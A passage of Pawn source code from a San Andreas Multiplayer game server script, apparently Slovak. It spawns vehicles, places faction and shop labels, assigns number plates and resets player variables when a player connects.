    AddStaticVehicle(551,-1810.33410645,614.68750000,35.05187607,90.00000000,-1,-1); //Merit
    AddStaticVehicle(466,-1703.79821777,1003.42120361,17.50593758,90.00000000,-1,-1); //Glendale
    AddStaticVehicle(451,-1699.18298340,1058.54016113,17.35030937,0.00000000,-1,-1); //Turismo
    AddStaticVehicle(415,-1710.87756348,1058.55749512,17.43545914,0.00000000,-1,-1); //Cheetah
    AddStaticVehicle(602,-1711.34191895,1205.45214844,25.01661491,0.00000000,-1,-1); //Alpha
    AddStaticVehicle(506,-1654.90722656,1208.97778320,20.94836426,317.21319580,-1,-1); //Super GT
    AddStaticVehicle(489,-1638.30139160,1296.88952637,7.39536285,134.14306641,-1,-1); //Rancher
    AddStaticVehicle(560,-1648.48547363,1307.70043945,6.83379889,134.14306641,-1,-1); //Sultan
    AddStaticVehicle(489,-1634.58825684,1293.56823730,7.39918900,134.14306641,-1,-1); //Rancher
    AddStaticVehicle(560,-1630.92871094,1289.95336914,6.84403753,134.14306641,-1,41); //Sultan
    AddStaticVehicle(560,-1655.50317383,1314.91418457,6.84403753,314.14306641,-1,-1); //Sultan
    AddStaticVehicle(426,-1974.53857422,1341.77392578,7.00749969,180.00000000,-1,-1); //Premier
    AddStaticVehicle(496,-1979.14038086,1341.76818848,6.97522736,0.00000000,-1,-1); //Blista Compact
    AddStaticVehicle(415,-1984.29602051,1341.99731445,7.03366661,0.00000000,-1,-1); //Cheetah
    AddStaticVehicle(496,-2062.31176758,1352.63500977,6.88844299,0.00000000,-1,-1); //Blista Compact
    AddStaticVehicle(451,-2371.21777344,1385.93298340,7.03638315,270.00000000,-1,-1); //Turismo
    AddStaticVehicle(560,-2361.98999023,1386.09423828,7.07473278,270.00000000,-1,1); //Sultan
    AddStaticVehicle(411,-2757.01831055,984.80096436,54.26245499,0.00000000,-1,-1); //Infernus
    AddStaticVehicle(410,-2600.55102539,972.19250488,78.02703857,180.00000000,-1,-1); //Manana
    AddStaticVehicle(558,-2562.91845703,626.89324951,27.50999641,0.00000000,-1,-1); //Uranus
    AddStaticVehicle(475,-2557.99194336,626.69250488,27.70620346,0.00000000,-1,-1); //Sabre
    AddStaticVehicle(420,-2583.85498047,626.70269775,27.66250038,180.00000000,6,1); //Taxi
    AddStaticVehicle(567,-2545.70483398,654.42431641,27.79084206,90.00000000,-1,-1); //Savanna
    AddStaticVehicle(419,-2543.92529297,599.02178955,14.38312531,90.00000000,-1,-1); //Esperanto
    AddStaticVehicle(517,-2377.91894531,587.45635986,26.30159950,0.00000000,-1,-1); //Majestic
    AddStaticVehicle(407,-2043.29296875,55.71972656,28.63050079,268.25866699,3,1); //Firetruck
    AddStaticVehicle(407,-2021.45581055,84.03497314,28.36686897,268.25866699,3,1); //Firetruck
    AddStaticVehicle(515,-2146.06542969,-190.11636353,36.47403336,0.00000000,-1,-1); //Roadtrain
    AddStaticVehicle(567,-2174.77636719,-218.98768616,35.29865265,0.00000000,84,1); //Savanna
    AddStaticVehicle(576,-2169.71508789,-218.59555054,35.07031250,0.00000000,40,1); //Tornado
    AddStaticVehicle(412,-2164.96679688,-218.70436096,35.27031326,0.00000000,30,1); //Voodoo
    AddStaticVehicle(535,-2156.39990234,-195.28543091,35.16031265,0.00000000,-1,-1); //Slamvan
    AddStaticVehicle(600,-2160.70361328,-104.23944092,35.16215897,0.00000000,-1,-1); //Picador
    AddStaticVehicle(429,-2215.81103516,-216.44197083,35.24853134,0.00000000,-1,-1); //Banshee
    AddStaticVehicle(603,-2245.39306641,-36.26987457,35.32298660,0.00000000,-1,-1); //Phoenix
    AddStaticVehicle(541,-2167.37744141,305.95257568,34.81718826,0.00000000,-1,-1); //Bullet
    AddStaticVehicle(587,-2171.57080078,306.07171631,34.92718887,0.00000000,-1,-1); //Euros
    AddStaticVehicle(549,-2214.20776367,293.67218018,34.97866440,0.00000000,-1,-1); //Tampa
    AddStaticVehicle(409,-2245.75439453,252.52679443,35.24531174,0.00000000,-1,-1); //Stretch
    AddStaticVehicle(534,-2724.98364258,702.09643555,41.09044647,90.00000000,-1,-1); //Remington
    AddStaticVehicle(551,-2193.35717773,1104.30017090,79.88084412,0.00000000,-1,-1); //Merit
    AddStaticVehicle(580,-1836.43359375,1306.55407715,59.64189911,20.00000000,-1,-1); //Stafford
    AddStaticVehicle(522,-1791.87866211,1311.59521484,59.39475250,0.00000000,-1,-1); //NRG-500
    AddStaticVehicle(522,-1797.12512207,1311.76403809,59.39475250,0.00000000,-1,-1); //NRG-500
    AddStaticVehicle(559,-1810.82470703,1293.04699707,59.48843765,4.00000000,-1,-1); //Jester
    AddStaticVehicle(549,-1703.26135254,-16.14934540,3.41616440,0.00000000,75,52); //Tampa
    AddStaticVehicle(491,-1698.27490234,-10.92791748,3.45468736,0.00000000,-1,-1); //Virgo
    AddStaticVehicle(401,-1693.43237305,-6.88707352,3.42250204,0.00000000,-1,-1); //Bravura
    AddStaticVehicle(555,-1688.78247070,-2.43031311,3.33506155,0.00000000,-1,-1); //Windsor
    AddStaticVehicle(522,-1693.84204102,62.27014923,3.21506500,0.00000000,-1,-1); //NRG-500
    AddStaticVehicle(490,-2416.04736328,528.17492676,30.24981308,60.00000000,-1,-1); //FBI Rancher
    AddStaticVehicle(490,-2418.53613281,524.62011719,30.24981308,51.99829102,-1,-1); //FBI Rancher
    AddStaticVehicle(551,-2425.49804688,518.03717041,29.80968666,41.00000000,-1,-1); //Merit
    AddStaticVehicle(551,-2413.15332031,539.68347168,29.80968666,90.00000000,-1,-1); //Merit
    AddStaticVehicle(528,-2438.23779297,522.54431152,30.09097862,3.00000000,85,1); //FBI Truck
    AddStaticVehicle(528,-2427.80273438,503.92968750,30.26312447,24.99938965,85,1); //FBI Truck
    AddStaticVehicle(445,-2173.95996094,691.69854736,53.88062668,0.00000000,-1,-1); //Admiral
    AddStaticVehicle(445,-2173.95922852,700.36151123,53.88062668,0.00000000,-1,-1); //Admiral
    AddStaticVehicle(445,-2215.18334961,638.83862305,49.44178391,180.00000000,-1,-1); //Admiral
    AddStaticVehicle(445,-2174.14941406,635.03125000,49.42750168,180.00000000,-1,-1); //Admiral
    AddStaticVehicle(445,-2212.19995117,642.27368164,49.43759155,180.00000000,-1,-1); //Admiral
    AddStaticVehicle(445,-2206.80004883,668.67584229,49.42750168,180.00000000,-1,-1); //Admiral
    AddStaticVehicle(445,-2203.92553711,635.32720947,49.43294144,90.00000000,-1,-1); //Admiral
    AddStaticVehicle(445,-2214.10107422,615.23309326,35.15406418,180.00000000,-1,-1); //Admiral
    AddStaticVehicle(546,1012.93457031,-1026.51770020,31.94341087,0.00000000,-1,-1); //Intruder
    AddStaticVehicle(420,365.70660400,-1170.57397461,77.77452087,316.00000000,6,1); //Taxi
    AddStaticVehicle(567,180.67364502,-1403.93835449,46.58560181,320.00000000,-1,-1); //Savanna
    AddStaticVehicle(533,-74.47477722,-1153.13842773,1.54999995,332.00000000,-1,-1); //Feltzer
    AddStaticVehicle(515,-68.10220337,-1113.51879883,2.23184586,340.00000000,-1,-1); //Roadtrain
    AddStaticVehicle(515,-75.80859375,-1110.62402344,2.23184586,339.99938965,-1,-1); //Roadtrain
    AddStaticVehicle(600,-1871.85473633,-771.85345459,31.86528587,90.00000000,-1,-1); //Picador
    AddStaticVehicle(482,-1886.97326660,-870.82427979,32.27343750,90.00000000,-1,-1); //Burrito
    AddStaticVehicle(451,-1886.70263672,-948.55963135,31.78780937,270.00000000,-1,-1); //Turismo
    AddStaticVehicle(602,-1897.85754395,-896.86370850,31.92343712,90.00000000,-1,-1); //Alpha
    AddStaticVehicle(603,-2408.83447266,-584.04748535,132.65110779,35.00000000,-1,-1); //Phoenix
    AddStaticVehicle(576,-2414.14184570,-587.20245361,132.39843750,35.00000000,-1,-1); //Tornado
    AddStaticVehicle(582,-2509.62792969,-602.81475830,132.71749878,180.00000000,97,1); //Newsvan
    AddStaticVehicle(582,-2524.21289062,-602.02636719,132.71749878,0.00000000,97,1); //Newsvan
    AddStaticVehicle(582,-2520.48535156,-602.00781250,132.71749878,0.00000000,97,1); //Newsvan
    AddStaticVehicle(582,-2498.07861328,-601.99359131,132.71749878,0.00000000,97,1); //Newsvan
    AddStaticVehicle(488,-2499.01342773,-633.77972412,134.75453186,270.00000000,7,1); //News Chopper
    AddStaticVehicle(488,-2497.83349609,-647.83886719,137.73912048,270.00000000,7,1); //News Chopper
    AddStaticVehicle(540,-2739.37548828,-282.36505127,7.01856375,0.00000000,-1,-1); //Vincent
    AddStaticVehicle(426,-2815.13330078,60.16007233,6.99188805,0.00000000,-1,-1); //Premier
    AddStaticVehicle(566,-2794.92871094,243.85467529,7.08750010,0.00000000,-1,-1); //Tahoma
    AddStaticVehicle(411,-2790.86279297,243.60424805,6.98749971,0.00000000,-1,-1); //Infernus
    AddStaticVehicle(559,-2782.00878906,243.65022278,6.94156361,180.00000000,8,1); //Jester
    AddStaticVehicle(415,-2770.90039062,236.53073120,7.03702164,0.00000000,121,1); //Cheetah
    AddStaticVehicle(477,-2774.64062500,236.75691223,7.03749990,0.00000000,-1,-1); //ZR-350
    AddStaticVehicle(402,-2761.50463867,244.20535278,7.10485554,0.00000000,123,1); //Buffalo
    AddStaticVehicle(555,-2712.00732422,308.23666382,4.11631155,0.00000000,-1,-1); //Windsor
    AddStaticVehicle(603,-2675.46118164,365.39962769,4.40743160,270.00000000,-1,-1); //Phoenix
    AddStaticVehicle(477,-2586.02685547,332.34252930,4.70156240,90.00000000,-1,-1); //ZR-350
    AddStaticVehicle(416,-2649.43212891,584.68792725,14.75270081,90.00000000,3,1); //Ambulance
    AddStaticVehicle(416,-2626.27246094,613.82031250,14.75270081,0.00000000,3,1); //Ambulance
    AddStaticVehicle(416,-2636.09472656,602.10174561,14.75270081,180.00000000,3,1); //Ambulance
    AddStaticVehicle(416,-2681.45605469,600.12207031,14.75270081,0.00000000,3,1); //Ambulance
    AddStaticVehicle(448,2122.43286133,-1783.86767578,13.05779362,0.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2118.29028320,-1784.39025879,13.05753803,180.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2113.16406250,-1784.33081055,13.05756760,180.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2114.78222656,-1784.05541992,13.05770111,0.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2116.49072266,-1784.01159668,13.05772305,0.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2121.61474609,-1777.60449219,13.06085205,90.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2121.70678711,-1775.62817383,13.06181717,90.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2109.66992188,-1784.44946289,13.05750942,180.00000000,6,3); //Pizzaboy
    AddStaticVehicle(448,2107.84204102,-1784.49780273,13.05748558,180.00000000,6,3); //Pizzaboy
    //<><><><><><><><>< Mirrors Edge 2 ><><><><><><><><><>
    AddStaticVehicle(455,-1790.29699707,1007.88916016,25.30437469,170.00000000,-1,-1); //Flatbed
    AddStaticVehicle(455,-1803.77746582,1007.00122070,25.46062469,177.99682617,-1,-1); //Flatbed
    //<><><><><><><>< terrorists assault ><><><><><><><><><><><>
    TA_V[0] = AddStaticVehicle(426,-2176.33935547,634.89733887,49.25749969,84.53930664,25,11);
    TA_V[1] = AddStaticVehicle(426,-2206.83959961,674.97497559,49.25749969,179.65460205,25,11);
    TA_V[2] = AddStaticVehicle(445,-2178.88916016,713.37493896,53.88062668,0.00000000,-1,-1);
    TA_V[3] = AddStaticVehicle(445,-2184.46728516,713.33520508,53.88720703,0.00000000,-1,-1);
    TA_V[4] = AddStaticVehicle(445,-2176.72119141,659.39636230,49.42750168,94.13543701,83,34);
    TA_V[5] = AddStaticVehicle(445,-2187.08105469,644.82092285,49.42750168,358.13085938,83,34);
    TA_V[6] = AddStaticVehicle(445,-2176.26953125,638.58886719,49.42750168,86.12731934,83,34);
    TA_V[7] = AddStaticVehicle(445,-2190.15332031,640.88574219,49.42750168,356.12829590,83,34);
    TA_V[8] = AddStaticVehicle(445,-2207.95141602,628.69866943,49.42760849,54.12731934,83,34);
    TA_V[9] = AddStaticVehicle(597,-2246.33984375,653.35583496,49.31531143,306.00000000,-1,1);
    TA_V[10] = AddStaticVehicle(490,-2217.86889648,575.37365723,35.49200058,66.00000000,-1,-1);
    TA_V[11] = AddStaticVehicle(427,-2254.71313477,657.51153564,49.54487610,214.00000000,-1,-1);
    TA_V[12] = AddStaticVehicle(597,-2247.51074219,637.68865967,49.14690018,52.00000000,-1,1);
    TA_V[13] = AddStaticVehicle(597,-2281.48510742,668.23376465,48.96403503,6.00000000,-1,1);
    TA_V[14] = AddStaticVehicle(597,-2250.19409180,649.02337646,49.16687393,330.00000000,-1,1);
    TA_V[15] = AddStaticVehicle(597,-2250.87109375,642.85742188,49.16687393,13.99658203,-1,1);
    TA_V[16] = AddStaticVehicle(597,-2251.61621094,680.44757080,49.16687393,89.54602051,-1,1);
    TA_V[17] = AddStaticVehicle(597,-2263.75756836,638.99279785,49.15100098,283.99401855,-1,1);
    TA_V[18] = AddStaticVehicle(597,-2260.61376953,635.18121338,48.64990234,323.99108887,-1,1);
    TA_V[19] = AddStaticVehicle(427,-2258.21801758,654.22003174,49.54487610,239.99877930,-1,-1);
    TA_V[20] = AddStaticVehicle(597,-2256.83691406,633.76562500,48.29970169,331.99035645,-1,1);
    TA_V[21] = AddStaticVehicle(490,-2282.31860352,569.23809814,35.33575058,0.00000000,-1,-1);
    TA_V[22] = AddStaticVehicle(490,-2209.81762695,574.95080566,35.49200058,115.99487305,-1,-1);
    TA_V[23] = AddStaticVehicle(490,-2224.65820312,569.65234375,35.33575058,285.99365234,-1,-1);
    TA_V[24] = AddStaticVehicle(490,-2226.44506836,552.51171875,35.33575058,93.99487305,-1,-1);
    TA_V[25] = AddStaticVehicle(490,-2198.38378906,570.17968750,35.33575058,75.99121094,-1,-1);
    TA_V[26] = AddStaticVehicle(490,-2201.47558594,565.01269531,35.33575058,35.99121094,-1,-1);
    TA_V[27] = AddStaticVehicle(490,-2244.57324219,605.36425781,41.87191010,0.00000000,-1,-1);
    TA_V[28] = AddStaticVehicle(490,-2282.37036133,561.78106689,35.33575058,0.00000000,-1,-1);
    TA_V[29] = AddStaticVehicle(490,-2159.20043945,565.85644531,35.33575058,180.00000000,-1,-1);
    TA_V[30] = AddStaticVehicle(427,-2259.99218750,679.88073730,49.54487610,271.99401855,-1,-1);
    TA_V[31] = AddStaticVehicle(597,-2268.98071289,680.37670898,49.16687393,273.65460205,-1,1);

     for(new v=0; v<32; v++)
    {
        SetVehicleVirtualWorld(TA_V[v], 1003);
    }
    //<><><><><><><>< stunt park ><><><><><><><><><><><>
    SP_V[0]  = AddStaticVehicle(522,306.61914062,-3587.05883789,300.66036987,0.00000000,-1,-1);
    SP_V[1]  = AddStaticVehicle(522,303.11993408,-3587.18115234,300.66036987,0.00000000,-1,-1);
    SP_V[2]  = AddStaticVehicle(522,310.27392578,-3587.00708008,300.66036987,0.00000000,81,3);
    SP_V[3]  = AddStaticVehicle(522,308.45019531,-3586.94067383,300.66036987,0.00000000,-1,-1);
    SP_V[4]  = AddStaticVehicle(522,311.95016479,-3587.00097656,300.66036987,0.00000000,-1,-1);
    SP_V[5]  = AddStaticVehicle(522,313.83013916,-3587.07006836,300.66036987,0.00000000,-1,-1);
    SP_V[6]  = AddStaticVehicle(522,305.03125000,-3587.00683594,300.66036987,0.00000000,-1,-1);
    SP_V[7]  = AddStaticVehicle(468,301.62805176,-3583.43115234,300.76000977,270.00000000,-1,-1);
    SP_V[8]  = AddStaticVehicle(468,301.53829956,-3581.98974609,300.76000977,270.00000000,-1,-1);
    SP_V[9]  = AddStaticVehicle(468,301.41839600,-3580.44482422,300.76000977,270.00000000,-1,-1);
    SP_V[10] = AddStaticVehicle(468,301.14440918,-3577.68554688,300.76000977,270.00000000,-1,-1);
    SP_V[11] = AddStaticVehicle(468,301.27148438,-3579.02636719,300.76000977,270.00000000,-1,-1);
    SP_V[12] = AddStaticVehicle(481,317.49407959,-3587.61596680,300.60876465,0.00000000,-1,-1);
    SP_V[13] = AddStaticVehicle(481,316.62695312,-3587.67480469,300.60876465,0.00000000,-1,-1);
    SP_V[14] = AddStaticVehicle(481,318.36773682,-3587.58056641,300.60876465,0.00000000,-1,-1);
    SP_V[15] = AddStaticVehicle(481,319.20361328,-3587.64965820,300.60876465,0.00000000,-1,-1);
    SP_V[16] = AddStaticVehicle(510,320.40972900,-3587.65405273,300.69583130,0.00000000,-1,-1);
    SP_V[17] = AddStaticVehicle(510,321.47552490,-3587.57006836,300.69583130,0.00000000,-1,-1);
    SP_V[18] = AddStaticVehicle(510,323.47747803,-3587.59643555,300.69583130,0.00000000,-1,-1);
    SP_V[19] = AddStaticVehicle(510,322.43066406,-3587.59863281,300.69583130,0.00000000,-1,-1);

     for(new v=0; v<20; v++)
    {
        SetVehicleVirtualWorld(SP_V[v], 1004);
    }
    //<><><><><><><><>< dtc ><><><><><><><><><><><><><>

    DTC_Car[0] = AddStaticVehicle(562,1363.00549316,-3800.09912109,100.58480072,180.00000000,3,3); //Elegy
    DTC_Car[1] = AddStaticVehicle(562,1359.04638672,-3800.25024414,100.58480072,180.00000000,-1,3); //Elegy
    DTC_Car[2] = AddStaticVehicle(562,1350.20056152,-3793.75976562,100.58480072,180.00000000,65,3); //Elegy
    DTC_Car[3] = AddStaticVehicle(562,1354.82324219,-3800.08105469,100.58480072,180.00000000,2,2); //Elegy
    DTC_Car[4] = AddStaticVehicle(562,1345.55969238,-3793.74609375,100.58480072,180.00000000,123,3); //Elegy
    DTC_Car[5] = AddStaticVehicle(562,1345.70703125,-3799.87890625,100.58480072,180.00000000,52,3); //Elegy
    DTC_Car[6] = AddStaticVehicle(562,1350.16601562,-3800.09472656,100.58480072,180.00000000,6,3); //Elegy
    DTC_Car[7] = AddStaticVehicle(562,1354.80383301,-3793.66967773,100.58480072,180.00000000,126,3); //Elegy
    DTC_Car[8] = AddStaticVehicle(562,1359.19494629,-3793.48022461,100.58480072,180.00000000,86,3); //Elegy
    DTC_Car[9] = AddStaticVehicle(562,1363.11584473,-3793.72143555,100.58480072,180.00000000,1,3); //Elegy

    for(new v=0; v<10; v++)
    {
        SetVehicleVirtualWorld(DTC_Car[v], 1006);
    }

    print("* Vehicles and vehicles settings has been created and loaded!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating 3D Texts...");

    Create3DTextLabel("Groove Street",0xFF0000FF,2512.238,-1665.44,13.72,50,0);
    Create3DTextLabel("The Ballas",0xFF0000FF,2460.511,-1389.657,24.18,50,0);
    Create3DTextLabel("Los Santos Vagos",0xFF0000FF,2681.585,-1402.5,30.65,50,0);
    Create3DTextLabel("Los Aztecas",0xFF0000FF,2261.424,-1906.548,15.19,50,0);
    Create3DTextLabel("SWAT",0xFF0000FF,1275.044,-1662.776,19.734,50,0);
    Create3DTextLabel("Talianská Mafia",0xFF0000FF,2189.4,-2262.0,13.4,50,0);
    Create3DTextLabel("Drogová Mafia",0xFF0000FF,-1687.8872070313,-18.303468704224,3.5546875,50,0);
    Create3DTextLabel("Hitman",0xFF0000FF,1831.054,-1108.974,23.9,50,0);
    Create3DTextLabel("SBS",0xFF0000FF,1341.356,-1675.227,17.715,50,0);
    Create3DTextLabel("Taxi",0xFF0000FF,2151.487,-1807.884,13.546,50,0);
    Create3DTextLabel("Policia (LSPD)",0xFF0000FF,1554.952,-1675.59,16.195,50,0);
    Create3DTextLabel("Autobusár",0xFF0000FF,2137.989,-1905.364,13.546,50,0);
    Create3DTextLabel("Upratovacia Služba",0xFF0000FF,1576.791,-1479.614,14.212,50,0);
    Create3DTextLabel("Doktor",0xFF0000FF,1172.788,-1323.434,15.4,50,0);
    Create3DTextLabel("Mechanik",0xFF0000FF,967.77,-1252.67,16.956,50,0);
    Create3DTextLabel("Vojak",0xFF0000FF,285.164,2002.722,17.64,50,0);
    Create3DTextLabel("Hasič (LSFD)",0xFF0000FF,1740.384,-1456.816,13.525,50,0);
    Create3DTextLabel("Reportér (LS)",0xFF0000FF,732.647,-1337.733,13.533,50,0);
    Create3DTextLabel("Šerif",0xFF0000FF,2333.949,51.892,26.484,50,0);
    Create3DTextLabel("San Fierro Rifa",0xFF0000FF,-2178.4504394531,-223.88455200195,36.519073486328,50,0);
    Create3DTextLabel("Reportér (SF)",0xFF0000FF,-2521.3037109375,-624.64526367188,132.78244018555,50,0);
    Create3DTextLabel("Policia (SFPD)",0xFF0000FF,-1605.5047607422,711.10198974609,13.8671875,50,0);
    Create3DTextLabel("Hasič (SFFD)",0xFF0000FF,-2026.3106689453,67.152297973633,28.691593170166,50,0);
    Create3DTextLabel("San Fierro Army",0xFF0000FF,-1526.2415771484,485.71505737305,7.1796875,50,0);
    Create3DTextLabel("FBI",0xFF0000FF,-2455.6298828125,503.88360595703,30.078125,50,0);
    Create3DTextLabel("Ruská Mafia",0xFF0000FF,-1643.1689453125,1385.2122802734,7.1796875,50,0);
    Create3DTextLabel("Smetiar",0xFF0000FF,-1864.6663818359,-1559.3851318359,22.2109375,50,0);
    Create3DTextLabel("Yakuza",0xFF0000FF,-2172.7509765625,680.07299804688,55.162162780762,50,0);

    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,-1960.6163330078,305.33749389648,35.473926544189,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,-1659.5346679688,1220.4112548828,7.25,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,2131.8208007813,-1150.4176025391,24.159635543823,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,414.82418823242,2535.1804199219,19.1484375,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,2089.6667480469,-2080.5969238281,13.546875,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,2506.4636230469,-1746.0355224609,13.500896453857,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,-2579.7580566406,310.21548461914,5.1796879768372,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,1628.2923583984,600.22668457031,1.7578125,50,0);
    Create3DTextLabel("Vehicles Shop",COLOR_ORANGE,848.46783447266,-1817.9799804688,12.193820953369,50,0);

    Create3DTextLabel("Disco Club",COLOR_ORANGE,1835.0,-1681.7,13.4,50,0);
    Create3DTextLabel("Úrad",COLOR_ORANGE,1247.9,-1560,13.5,50,0);
    Create3DTextLabel("Electro Shop",COLOR_ORANGE,1359.905,-1854.188,13.57,50,0);
    Create3DTextLabel("Drag",COLOR_ORANGE,1636.961,-1883.375,25.241,50,0);
    Create3DTextLabel("Zmena ŠPZ-ky",COLOR_ORANGE,2446.626,-1977.238,13.546,50,0);
    Create3DTextLabel("Bomb Shop",COLOR_ORANGE,972.3567,-1544.6091,13.6040,50,0);

    Create3DTextLabel("[ Gym ]\nBox",COLOR_ORANGE,2229.671,-1721.729,13.565,50,0);
    Create3DTextLabel("[ Gym ]\nKung Fu",COLOR_ORANGE,-2269.769,-156.024,35.320,50,0);
    Create3DTextLabel("[ Gym ]\nKneehead",COLOR_ORANGE,1809.744,-1167.061,24.226,50,0);

    Create3DTextLabel("[ Brigáda ]\nJimmy\nRozvoz pizzy",COLOR_YELLOW_LIGHT,2120.5112304688,-1790.2296142578,13.5546875,50,0);
    Create3DTextLabel("[ Brigáda ]\nErika\nZběr vozidel",COLOR_YELLOW_LIGHT,-1700.7366943359,28.815383911133,3.5546875,50,0);

    Create3DTextLabel("Obchod",COLOR_ORANGE,2423.4304199219,-1914.9486083984,13.546875,50,0);
    Create3DTextLabel("Obchod",COLOR_ORANGE,2380.4821777344,-1213.5872802734,27.422292709351,50,0);
    Create3DTextLabel("Obchod",COLOR_ORANGE,1128.7092285156,-1271.3031005859,13.546875,50,0);
    Create3DTextLabel("Obchod",COLOR_ORANGE,336.11361694336,-1335.9836425781,14.5078125,50,0);
    Create3DTextLabel("Obchod",COLOR_ORANGE,-1675.9158935547,431.84384155273,7.1796875,50,0);
    Create3DTextLabel("Obchod",COLOR_ORANGE,-2544.4885253906,250.13616943359,13.870671272278,50,0);
    Create3DTextLabel("Obchod",COLOR_ORANGE,-1884.4801025391,1300.8520507813,7.1875,50,0);
    Create3DTextLabel("Obchod",COLOR_ORANGE,-2200.4584960938,-79.33618927002,35.3203125,50,0);

    print("* 3D Texts has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Setting SPZts...");

    for(new vehicleid=0; vehicleid<MAX_VEHICLES_EX; vehicleid++)
    {
        new spz[32];
        format(spz, 32, "{ff0000}SL-%d%s%s", RandomNumber(100,999), RandomLargeCharacter(), RandomLargeCharacter());

        SetVehicleNumberPlate(vehicleid, spz);
        SetVehicleToRespawn(vehicleid);
    }

    for(new h=0; h<MAX_HOUSES; h++)
    {
        for(new s=0; s<HouseStates[h][Vehicles]; s++)
        {
            new way100[32];
            format(way100,32,"SL/Server/Houses/House%d.cfg",h);
            new v_spz[8];
            format(v_spz,8,"V%d_spz",s);
            SetVehicleNumberPlate(Car[s][h], dini_Get(way100, v_spz));
            SetVehicleToRespawn(Car[s][h]);
        }
    }

    for(new c=0; c<MAX_CLANS; c++)
    {
        for(new s=0; s<Clan[c][Vehicles]; s++)
        {
            new way101[64];
            format(way101,64, "SL/Server/Clans/Clan%d.cfg", c);

            new v_spz[8];
            format(v_spz,8,"V%d_spz", s);

            SetVehicleNumberPlate(ClanVehicle[s][c], dini_Get(way101, v_spz));
            SetVehicleToRespawn(ClanVehicle[s][c]);
        }
    }

    print("* SPZts has been setted!");

    //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    print(">>> All was loaded!");
    print(">>> Game Mode has been started!");

    return 1;
}

public OnGameModeExit()
{
    return 1;
}

public OnPlayerRequestClass(playerid, classid)
{
    if(!IsPlayerNPC(playerid)) Player[playerid][FNC_01]=1;
    else if(Player[playerid][Logged] == true)
    {
        SetSpawnInfo(playerid, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
        SpawnPlayer(playerid);
    }
    return 1;
}

public OnPlayerConnect(playerid)
{
    new Name[24];
    GetPlayerName(playerid,Name,24);
    
    if(!strcmp(Name, "SERVER", false))
    {
        SendClientMessage(playerid,0xC0C0C0FF,"Neplatne meno.");
        return Kick(playerid);
    }

    if(playerid >= MAX_PLAYERS_EX)
    {
        SendClientMessage(playerid,0xC0C0C0FF,"Server je plny.");
        return Kick(playerid);
    }

    if(!IsPlayerNPC(playerid))
    {
        for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i))
            {
                if(!IsPlayerNPC(i))
                {
                       ShowPlayerNameTagForPlayer(playerid, i, true);
                   }
            }
        }
        
        if(playerid > Server[ConP]) Server[ConP]=playerid;
    
        new way[32];
        format(way,32,"SL/%s.cfg",Name);

        /////////////////////////////////////////////

        Player[playerid][FalseLogin]=0;
        Player[playerid][Logged]=false;
        Player[playerid][RobTime]=0;
        Player[playerid][IPIP]=false;
        Player[playerid][Mute]=false;
        Player[playerid][FreezeP]=false;
        Player[playerid][ShowGangPickup]=0;
        Player[playerid][FirstSpawn]=true;
        Player[playerid][RegSpawn]=false;
        Player[playerid][PrisonTime]=0;
        Player[playerid][LottoNumber]=9999;
        Player[playerid][AFK]=false;
        Player[playerid][DragRacer]=0;
        Player[playerid][FNC_01]=0;
        Player[playerid][SelectedSkin]=9999;
        Player[playerid][DM_Player]=9999;
        Player[playerid][HouseWeaponType]=9999;
        Player[playerid][Hours]=0;
        Player[playerid][Minutes]=0;
        Player[playerid][Warnings]=0;
        Player[playerid][Specate]=false;
        Player[playerid][FNC_02]=0;
        Player[playerid][HouseID]=9999;
        Player[playerid][UseNotebook]=false;
        Player[playerid][InternetBank]=0;
        Player[playerid][ME2_Player]=9999;
        Player[playerid][DTC_Player]=9999;
        Player[playerid][NFSSA_Player]=9999;
        Player[playerid][D_Player]=9999;
        Player[playerid][TA_Player]=9999;
        Player[playerid][DA_Player]=9999;
        Player[playerid][Skill]=1;
        Player[playerid][Skin]=293;
        Player[playerid][UseNotebookTV]=false;
        Player[playerid][OilWell_ID]=9999;
        Player[playerid][VK_bool]=false;
        Player[playerid][SP_Player]=9999;
        Player[playerid][VIP]=0;
        Player[playerid][VIP_Logged]=true;
        Player[playerid][VIP_Color]=false;
        Player[playerid][LoadPlayerStats]=false;
        Player[playerid][PropertyID]=9999;
        Player[playerid][IsPlayerKidnapping]=false;
        Player[playerid][FirmP]=9999;
        Player[playerid][FirmID]=0;
        Player[playerid][BrigadaID]=9999;
        Player[playerid][BrigadaInfo]=9999;
        Player[playerid][BrigadaTime]=9999;
        Player[playerid][FNC_03]=0;
        Player[playerid][ClanP]=9999;
        Player[playerid][ClanID]=0;
        Player[playerid][ClanRank]=9999;
        Player[playerid][FNC_04]=0;
        Player[playerid][Clan_SaveVehSeries]=0;
        Player[playerid][RCON]=false;
        Player[playerid][RCON_Permission]=false;
        Player[playerid][MTBR_Player]=9999;
        Player[playerid][A_MapPointState]=false;
        Player[playerid][Bagety]=0;
        Player[playerid][Sprunk]=0;
        Player[playerid][Pivo]=0;
        Player[playerid][Vino]=0;
        Player[playerid][Whisky]=0;
        Player[playerid][Marihuana]=0;
        Player[playerid][Cigarety]=0;
        Player[playerid][CanEatInvB]=true;
        Player[playerid][Svetlica]=0;
        Player[playerid][Dynamit]=0;
        Player[playerid][Mina]=0;
        Player[playerid][Raptor]=0;
